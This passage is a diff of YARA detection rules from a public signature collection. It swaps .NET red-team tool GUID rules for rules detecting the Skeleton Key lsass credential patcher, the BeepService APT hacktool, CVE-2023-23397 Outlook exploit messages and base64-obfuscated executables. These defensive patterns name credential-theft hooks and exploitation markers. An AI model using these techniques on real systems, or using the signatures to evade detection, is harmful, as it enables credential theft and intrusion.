+		$s2 = "\x18\x04\x0F\x12\x16\x0A\x1E\x08\x5B\x11\x0F\x13"
+		$s3 = "\x39\x1F\x01\x07\x15\x19\x1A\x33\x19\x0D\x1F"
+		$s4 = "\x62\x6F\x71\x78\x63\x61\x7F\x69\x2D\x67\x79\x65"
+		$s5 = "\x6F\x69\x7F\x6B\x61\x53\x6A\x7C\x73\x6F\x71"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of ($n*) and 1 of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Wiretap : FILE
+rule SIGNATURE_BASE_Skeleton_Key_Patcher
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5513a295-8907-5a9c-adca-760b33004229"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/djhohnstein/WireTap"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5278-L5292"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1e2199f7d4a01985edd2b4a071b928a3329e4f0f39d786608fdbbae1a01783fe"
-		score = 75
+		description = "Skeleton Key Patcher from Dell SecureWorks Report http://goo.gl/aAk3lN"
+		author = "Dell SecureWorks Counter Threat Unit"
+		id = "a2805cce-7605-58a4-85ce-9dff5586858e"
+		date = "2015-01-13"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/aAk3lN"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_skeletonkey.yar#L3-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "451b77152e38a120bd8d8a832f0f7c003974113ead18aabfe043a332fb1f484c"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$typelibguid0lo = "b5067468-f656-450a-b29c-1c84cfe8dde5" ascii wide
-		$typelibguid0up = "B5067468-F656-450A-B29C-1C84CFE8DDE5" ascii wide
+		$target_process = "lsass.exe" wide
+		$dll1 = "cryptdll.dll"
+		$dll2 = "samsrv.dll"
+		$name = "HookDC.dll"
+		$patched1 = "CDLocateCSystem"
+		$patched2 = "SamIRetrievePrimaryCredentials"
+		$patched3 = "SamIRetrieveMultiplePrimaryCredentials"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Kittylitter : FILE
+rule SIGNATURE_BASE_Skeleton_Key_Injected_Code
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f457b91f-4adb-5be6-b9c2-f6cc39d4bdaf"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/djhohnstein/KittyLitter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5294-L5312"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d68b2e8501db9e534b37260f7972caae8ec9756bf55c02ec60fadd256193080"
-		score = 75
+		description = "Skeleton Key injected Code http://goo.gl/aAk3lN"
+		author = "Dell SecureWorks Counter Threat Unit"
+		id = "29daaffa-cd9d-55d3-b79d-cde1c76e9e45"
+		date = "2015-01-13"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/aAk3lN"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_skeletonkey.yar#L26-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e87cb9a49d0df6f75ca1ae51f8255ea476b699e82d525d7eca06bfda3462d84b"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$typelibguid0lo = "449cf269-4798-4268-9a0d-9a17a08869ba" ascii wide
-		$typelibguid0up = "449CF269-4798-4268-9A0D-9A17A08869BA" ascii wide
-		$typelibguid1lo = "e7a509a4-2d44-4e10-95bf-b86cb7767c2c" ascii wide
-		$typelibguid1up = "E7A509A4-2D44-4E10-95BF-B86CB7767C2C" ascii wide
-		$typelibguid2lo = "b2b8dd4f-eba6-42a1-a53d-9a00fe785d66" ascii wide
-		$typelibguid2up = "B2B8DD4F-EBA6-42A1-A53D-9A00FE785D66" ascii wide
+		$injected = { 33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 00 48 81 C4 58 01 00 00 C3 }
+		$patch_CDLocateCSystem = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B FA 8B F1 E8 ?? ?? ?? ?? 48 8B D7 8B CE 48 8B D8 FF 50 10 44 8B D8 85 C0 0F 88 A5 00 00 00 48 85 FF 0F 84 9C 00 00 00 83 FE 17 0F 85 93 00 00 00 48 8B 07 48 85 C0 0F 84 84 00 00 00 48 83 BB 48 01 00 00 00 75 73 48 89 83 48 01 00 00 33 D2 }
+		$patch_SamIRetrievePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 49 8B F9 49 8B F0 48 8B DA 48 8B E9 48 85 D2 74 2A 48 8B 42 08 48 85 C0 74 21 66 83 3A 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 14 E8 ?? ?? ?? ?? 4C 8B CF 4C 8B C6 48 8B D3 48 8B CD FF 50 18 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
+		$patch_SamIRetrieveMultiplePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 41 8B F9 49 8B D8 8B F2 8B E9 4D 85 C0 74 2B 49 8B 40 08 48 85 C0 74 22 66 41 83 38 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 12 E8 ?? ?? ?? ?? 44 8B CF 4C 8B C3 8B D6 8B CD FF 50 20 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		any of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpview : FILE
+rule SIGNATURE_BASE_Beepservice_Hacktool : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "2ae1bc26-c137-55ce-ae2e-3204ff07f671"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/tevora-threat/SharpView"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5314-L5328"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "74c1b0ad4717b3d9494b0f1df4a51d03d0e0cbf99e5d911beaa2cc67cdd50233"
-		score = 75
+		description = "Detects BeepService Hacktool used by Chinese APT groups"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8813a01a-10db-52e7-bb1e-322864e87b15"
+		date = "2016-05-12"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/p32Ozf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_beepservice.yar#L10-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "176136e8a5ffec258caebf8d6b452b556093c5998414a7c9a4451ad78482f862"
+		score = 85
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "032df812a68852b6f3822b9eac4435e531ca85bdaf3ee99c669134bd16e72820"
+		hash2 = "e30933fcfc9c2a7443ee2f23a3df837ca97ea5653da78f782e2884e5a7b734f7"
+		hash3 = "ebb9c4f7058e19b006450b8162910598be90428998df149977669e61a0b7b9ed"
+		hash4 = "6db2ffe7ec365058f9d3b48dcca509507c138f19ade1adb5f13cf43ea0623813"
 
 	strings:
-		$typelibguid0lo = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii wide
-		$typelibguid0up = "22A156EA-2623-45C7-8E50-E864D9FC44D3" ascii wide
+		$x1 = "\\\\%s\\admin$\\system32\\%s" fullword ascii
+		$s1 = "123.exe" fullword ascii
+		$s2 = "regclean.exe" fullword ascii
+		$s3 = "192.168.88.69" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <100KB and $x1 and 1 of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Farmer : FILE
+rule SIGNATURE_BASE_SUSP_EXPL_Msg_CVE_2023_23397_Mar23 : CVE_2023_23397 FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f69745b9-4ebd-547a-9af3-bc340b076e5d"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/mdsecactivebreach/Farmer"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5330-L5350"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9f4c2cc503e8fd5b310f2c4b7d5914857612dab1435ca886bc7f8f362e822832"
-		score = 75
+		description = "MSG file with a PidLidReminderFileParameter property, potentially exploiting CVE-2023-23397"
+		author = "delivr.to, modified by Florian Roth, Nils Kuhnert, Arnim Rupp, marcin@ulikowski.pl"
+		id = "0a4d7bbe-1e17-5240-ad0f-29511752b267"
+		date = "2023-03-15"
+		modified = "2023-03-17"
+		reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_outlook_cve_2023_23397.yar#L1-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "47fee24586cd2858cfff2dd7a4e76dc95eb44c8506791ccc2d59c837786eafe3"
+		hash = "582442ee950d546744f2fa078adb005853a453e9c7f48c6c770e6322a888c2cf"
+		hash = "6c0087a5cbccb3c776a471774d1df10fe46b0f0eb11db6a32774eb716e1b7909"
+		hash = "7fb7a2394e03cc4a9186237428a87b16f6bf1b66f2724aea1ec6a56904e5bfad"
+		hash = "eedae202980c05697a21a5c995d43e1905c4b25f8ca2fff0c34036bc4fd321fa"
+		logic_hash = "35c0dd37f5f563fe2cf583f71391006309c1d8843a3a71004e92c9a9d2248494"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2023-23397, FILE"
 
 	strings:
-		$typelibguid0lo = "37da2573-d9b5-4fc2-ae11-ccb6130cea9f" ascii wide
-		$typelibguid0up = "37DA2573-D9B5-4FC2-AE11-CCB6130CEA9F" ascii wide
-		$typelibguid1lo = "49acf861-1c10-49a1-bf26-139a3b3a9227" ascii wide
-		$typelibguid1up = "49ACF861-1C10-49A1-BF26-139A3B3A9227" ascii wide
-		$typelibguid2lo = "9a6c028f-423f-4c2c-8db3-b3499139b822" ascii wide
-		$typelibguid2up = "9A6C028F-423F-4C2C-8DB3-B3499139B822" ascii wide
-		$typelibguid3lo = "1c896837-e729-46a9-92b9-3bbe7ac2c90d" ascii wide
-		$typelibguid3up = "1C896837-E729-46A9-92B9-3BBE7AC2C90D" ascii wide
+		$psetid_app = { 02 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
+		$psetid_meeting = { 90 DA D8 6E 0B 45 1B 10 98 DA 00 AA 00 3F 13 05 }
+		$psetid_task = { 03 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
+		$rfp = { 1F 85 00 00 }
+		$u1 = { 00 00 5C 00 5C 00 }
+		$fp_msi1 = {84 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint32be(0)==0xD0CF11E0 and uint32be(4)==0xA1B11AE1 and 1 of ($psetid*) and $rfp and $u1 and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Aesshellcodeinjector : FILE
+rule SIGNATURE_BASE_EXPL_SUSP_Outlook_CVE_2023_23397_Exfil_IP_Mar23 : CVE_2023_23397 FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "6253e30b-7c92-5237-a706-e93403a7c0b6"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/san3ncrypt3d/AESShellCodeInjector"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5352-L5366"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a3a6793e5ba5788fb01b3a04dc287d0bad44c87c72da302e5629d59a35ee1583"
+		description = "Detects suspicious .msg file with a PidLidReminderFileParameter property exploiting CVE-2023-23397 (modified delivr.to rule - more specific = less FPs but limited to exfil using IP addresses, not FQDNs)"
+		author = "delivr.to, Florian Roth, Nils Kuhnert, Arnim Rupp, marcin@ulikowski.pl"
+		id = "d85bf1d9-aebe-5f8c-9dd4-c509f64e221a"
+		date = "2023-03-15"
+		modified = "2023-03-18"
+		reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_outlook_cve_2023_23397.yar#L39-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "47fee24586cd2858cfff2dd7a4e76dc95eb44c8506791ccc2d59c837786eafe3"
+		hash = "582442ee950d546744f2fa078adb005853a453e9c7f48c6c770e6322a888c2cf"
+		hash = "6c0087a5cbccb3c776a471774d1df10fe46b0f0eb11db6a32774eb716e1b7909"
+		hash = "7fb7a2394e03cc4a9186237428a87b16f6bf1b66f2724aea1ec6a56904e5bfad"
+		hash = "eedae202980c05697a21a5c995d43e1905c4b25f8ca2fff0c34036bc4fd321fa"
+		hash = "e7a1391dd53f349094c1235760ed0642519fd87baf740839817d47488b9aef02"
+		logic_hash = "a8e8326f5aaa29b449f9203623e03d3d3a1d176bb764171d860afc510a1732e6"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2023-23397, FILE"
 
 	strings:
-		$typelibguid0lo = "b016da9e-12a1-4f1d-91a1-d681ae54e92c" ascii wide
-		$typelibguid0up = "B016DA9E-12A1-4F1D-91A1-D681AE54E92C" ascii wide
+		$psetid_app = { 02 20 06 00 00 00 00 00 C0 00 00 00 00 00 00 46 }
+		$psetid_meeting = { 90 DA D8 6E 0B 45 1B 10 98 DA 00 AA 00 3F 13 05 }
+		$psetid_task = { 03 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
+		$rfp = { 1F 85 00 00 }
+		$u1 = { 5C 00 5C 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 2E|3? 00 3? 00 2E|3? 00 3? 00 3? 00 2E) 00 (3? 00 3? 00 3? 00|3? 00 3? 00|3? 00) }
+		$u2 = { 00 5C 5C (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 2E|3? 3? 2E|3? 3? 3? 2E) (3? 3? 3?|3? 3?|3?) }
+		$fp_msi1 = {84 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0xCFD0 and 1 of ($psetid*) or uint32be(0)==0x789F3E22) and any of ($u*) and $rfp and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpchromium : FILE
+rule SIGNATURE_BASE_EXPL_SUSP_Outlook_CVE_2023_23397_SMTP_Mail_Mar23 : CVE_2023_23397
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5364956a-e199-556a-8055-0e7b9a7b14c8"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/djhohnstein/SharpChromium"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5368-L5382"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "00324bac8e8d9c335a359c2241e810d2e345ee6fb10a63b1bc05f33a7816c80d"
-		score = 75
+		description = "Detects suspicious *.eml files that include TNEF content that possibly exploits CVE-2023-23397. Lower score than EXPL_SUSP_Outlook_CVE_2023_23397_Exfil_IP_Mar23 as we're only looking for UNC prefix."
+		author = "Nils Kuhnert"
+		id = "922fae73-520d-5659-8331-f242c7c55810"
+		date = "2023-03-17"
+		modified = "2023-03-24"
+		reference = "https://twitter.com/wdormann/status/1636491612686622723"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_outlook_cve_2023_23397.yar#L81-L110"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a361eb3abf98655f43efff2a5399f112d9ac2d23df85a642ab744c78e98330e0"
+		score = 60
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2023-23397"
 
 	strings:
-		$typelibguid0lo = "2133c634-4139-466e-8983-9a23ec99e01b" ascii wide
-		$typelibguid0up = "2133C634-4139-466E-8983-9A23EC99E01B" ascii wide
+		$mail1 = { 0A 46 72 6F 6D 3A 20 }
+		$mail2 = { 0A 54 6F 3A }
+		$mail3 = { 0A 52 65 63 65 69 76 65 64 3A }
+		$tnef1 = "Content-Type: application/ms-tnef" ascii
+		$tnef2 = "\x78\x9f\x3e\x22" base64
+		$ipm1 = "IPM.Task" base64
+		$ipm2 = "IPM.Appointment" base64
+		$unc = "\x00\x00\x00\x5c\x5c" base64
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of ($mail*) and all of ($tnef*) and 1 of ($ipm*) and $unc
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Get_RBCD_Threaded : FILE
+rule SIGNATURE_BASE_SUSP_Base64_Encoded_Hex_Encoded_Code
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "fdef6dc3-da1a-5a98-a822-94e443981fdd"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/FatRodzianko/Get-RBCD-Threaded"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5384-L5398"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c771f3cf70901b6e60ec5a721e214e7c6c95169070d071caa870ca9f6235519f"
-		score = 75
+		description = "Detects hex encoded code that has been base64 encoded"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2cfd278f-ff45-5e23-b552-dad688ab303b"
+		date = "2019-04-29"
+		modified = "2023-12-05"
+		reference = "https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_obfuscation.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f1451e2dd0e4e70a0f39f609331762cce369642e9fadbef83d932da2a0a6c60b"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$typelibguid0lo = "e20dc2ed-6455-4101-9d78-fccac1cb7a18" ascii wide
-		$typelibguid0up = "E20DC2ED-6455-4101-9D78-FCCAC1CB7A18" ascii wide
+		$x1 = { 78 34 4e ?? ?? 63 65 44 ?? ?? 58 48 67 }
+		$x2 = { 63 45 44 ?? ?? 58 48 67 ?? ?? ?? 78 34 4e }
+		$fp1 = "Microsoft Azure Code Signp$"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		1 of ($x*) and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Whisker : FILE
+rule SIGNATURE_BASE_SUSP_Double_Base64_Encoded_Executable
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ecb0c59f-2111-58d9-8dc9-dfe005cad3be"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/eladshamir/Whisker"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5400-L5414"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "937998140d3487e7d490be50525ab6d42309e2198d3d2afe4e3c73ad14517b57"
-		score = 75
+		description = "Detects an executable that has been encoded with base64 twice"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6fb40ed3-1afc-5d5b-9373-4a8490177b20"
+		date = "2019-10-29"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/TweeterCyber/status/1189073238803877889"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_obfuscation.yar#L19-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ac739ed2af7dff70d7a05e661582a8fdd618e77aa5e0e0f42d6ea314265a129c"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		hash1 = "1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9"
 
 	strings:
-		$typelibguid0lo = "42750ac0-1bff-4f25-8c9d-9af144403bad" ascii wide
-		$typelibguid0up = "42750AC0-1BFF-4F25-8C9D-9AF144403BAD" ascii wide
+		$ = "VFZwVEFRR" ascii wide
+		$ = "RWcFRBUU" ascii wide
+		$ = "UVnBUQVFF" ascii wide
+		$ = "VFZvQUFBQ" ascii wide
+		$ = "RWb0FBQU" ascii wide
+		$ = "UVm9BQUFB" ascii wide
+		$ = "VFZxQUFBR" ascii wide
+		$ = "RWcUFBQU" ascii wide
+		$ = "UVnFBQUFF" ascii wide
+		$ = "VFZwUUFBS" ascii wide
+		$ = "RWcFFBQU" ascii wide
+		$ = "UVnBRQUFJ" ascii wide
+		$ = "VFZxUUFBT" ascii wide
+		$ = "RWcVFBQU" ascii wide
+		$ = "UVnFRQUFN" ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Shadowspray : FILE
+rule SIGNATURE_BASE_SUSP_Reversed_Base64_Encoded_EXE : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "91dd52ef-07a1-5ffd-b5c3-59bca18d4c7c"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/Dec0ne/ShadowSpray"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5416-L5430"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1d5992f9f58b6f7254fd8436aa32c6744d7a7ac3c70d94b3d7325c7a4c720475"
-		score = 75
+		description = "Detects an base64 encoded executable with reversed characters"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3b52e59e-7c0a-560f-8123-1099c52e7e3d"
+		date = "2020-04-06"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_obfuscation.yar#L47-L68"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0a2f1caf2235ee24f531c9f9a5ebdc0c97a90890218669749a4c83bede80a336"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8"
 
 	strings:
-		$typelibguid0lo = "7e47d586-ddc6-4382-848c-5cf0798084e1" ascii wide
-		$typelibguid0up = "7E47D586-DDC6-4382-848C-5CF0798084E1" ascii wide
+		$s1 = "AEAAAAEQATpVT"
+		$s2 = "AAAAAAAAAAoVT"
+		$s3 = "AEAAAAEAAAqVT"
+		$s4 = "AEAAAAIAAQpVT"
+		$s5 = "AEAAAAMAAQqVT"
+		$sh1 = "SZk9WbgM1TEBibpBib1JHIlJGI09mbuF2Yg0WYyd2byBHIzlGaU" ascii
+		$sh2 = "LlR2btByUPREIulGIuVncgUmYgQ3bu5WYjBSbhJ3ZvJHcgMXaoR" ascii
+		$sh3 = "uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <10000KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Malsccm : FILE
+rule SIGNATURE_BASE_SUSP_Script_Base64_Blocks_Jun20_1
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "4a88532b-e2bc-5ce9-828d-6ef62d91f6b9"
-		date = "2023-03-22"
-		modified = "2023-04-06"
-		reference = "https://github.com/nettitude/MalSCCM"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5432-L5446"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "429da06c863b73263f6de7acba0e8479cc2ad45af45d85ce846fce6f7e0b3b64"
-		score = 75
+		description = "Detects suspicious file with base64 encoded payload in blocks"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cef759a5-b02a-53e7-bf27-184eee6bc3fa"
+		date = "2020-06-05"
+		modified = "2023-12-05"
+		reference = "https://posts.specterops.io/covenant-v0-5-eee0507b85ba"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_obfuscation.yar#L70-L83"
